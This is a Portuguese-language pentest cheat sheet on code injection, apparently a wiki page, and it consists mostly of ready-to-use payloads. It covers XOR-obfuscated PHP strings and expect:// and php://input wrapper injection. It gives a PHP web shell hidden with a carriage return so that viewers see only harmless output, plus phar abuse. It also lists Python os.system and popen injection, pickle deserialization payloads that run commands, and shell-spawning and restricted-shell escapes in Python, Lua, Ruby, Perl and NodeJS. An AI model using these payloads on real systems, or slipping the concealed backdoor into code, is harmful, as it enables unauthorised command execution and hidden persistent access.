Code Injection
PHP
XOR
Podemos inserir caracteres utilizando XOR. Por exemplo, caractere M
, é o equivalente a expressão "0"^"}"
. Então, para escrevermos $_GET
, podemos utilizar a seguinte expressão:
php -r 'echo "`{{{"^"?<>/";'
Inserindo Comandos via Wrappers
Executando comandos
vuln.php?page=expect://ls
/example/?page=php://input&cmd=ls
Ocultando Caracteres
echo -e "<?=\`\$_POST[1]\`?>\r<?='Test';?>" > <file.php>
Perceba que, se ler o conteúdo do arquivo gerado com o comando acima, você irá ver somente <?='PHP Test';?>
, porém com o strings
ou algum editor como o Sublime Text
, é possível ver o seu conteúdo completo.
phar
Sempre que ver algum arquivo sendo chamado utilizando o phar, por exemplo md5_file('phar:///path/to/file');
, é possível inserirmos um arquivo phar malicioso.
Python
Inject
Caso seja possível inserir comandos em Python via web, podemos utilizar o comando abaixo. Caso o comando tenha sucesso, será retornado 0
e caso tenha falha, retornará algum número como 32512
, significando que o processo retornou 127
(comando não encontrado).
str(os.system('<command>'))
ATENÇÃO: O módulo os
só irá funcionar, caso o alvo já tenha realizado a sua importação com o comando import os
. Caso receba erro, utilize __import__('os').system('<command>')
ao invés de os.system('<command>')
Caso queria ver o retorno do código, podemos utilizar o seguinte comando:
str(os.popen("<command>").read())
Tente também inserir comandos que estejam com algum encode, por exemplo, base64
. Assim podemos inserir comandos no seguinte formato:
__import__('base64').b64decode('<command>')
Pegando Bash
python -c 'import os ; os.system("/bin/bash")'
python -c 'import os ; os.system("/bin/sh")'
python -c 'from subprocess import call ; call(["/bin/bash"])'
KShell
Caso esteja preso em um kshell
(shell com comandos limitados), utilize o comando abaixo para sair da shell limitada e acessar como usuário comum:
echo os.system('/bin/bash')
Caso não dê certo, digite os comandos abaixo:
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
Pickles
import cPickle, os
class Blah(object):
def __reduce__(self):
return (os.system,("<command>",))
b=Blah()
print cPickle.dumps(b)
import pickle, base64, os
class Blah(object):
def __reduce__(self):
return (os.system,("<command>",))
p=pickle.dumps(Blah())
print(base64.b64encode(p))
import pickle, base64, subprocess
class User(object):
def __reduce__(self):
return (self.__class__, (subprocess.check_output(["id"]), ))
def __init__(self, name):
self.name = name
user = User("Mysther")
print(base64.b64encode(pickle.dumps(user)))
LUA
lua -e 'os.execute("/bin/sh")'
os.execute("/bin/sh")
Ruby
Execução Única
ruby -e 'puts `<command>`'
REPL
Execute o comando abaixo
ruby -e 'require "irb" ; IRB.start(__FILE__)'
Com isso irá abrir uma sessão no terminal semelhante a isso irb(main):001:0>
.
Agora execute comandos em volta do caractere `
, exemplo:
`/bin/bash`
Perl
Lendo Arquivos do SO
perl -e 'print `/bin/bash`'
perl -e 'print `cat </path/file>`'
# Ou
open (CHECKBOOK, "</path/file>") || die "couldn't open the file!";
while ($record = <CHECKBOOK>) {
print $record;
}
close(CHECKBOOK);
ATENÇÃO:
Atente-se as aspas. No comando acima, utilizamos aspas simples, pois se usarmos aspas duplas, irá nos dar um erro de acesso (caso esteja usando um sudo
para utilizar privilégios de outro usuário). Isso acontece devido a ordem de execução do comando.
NodeJS
node -e 'var exec = require("child_process").exec; exec("<command>", function (error, stdOut, stdErr) { console.log(stdOut); });'
Last updated
Was this helpful?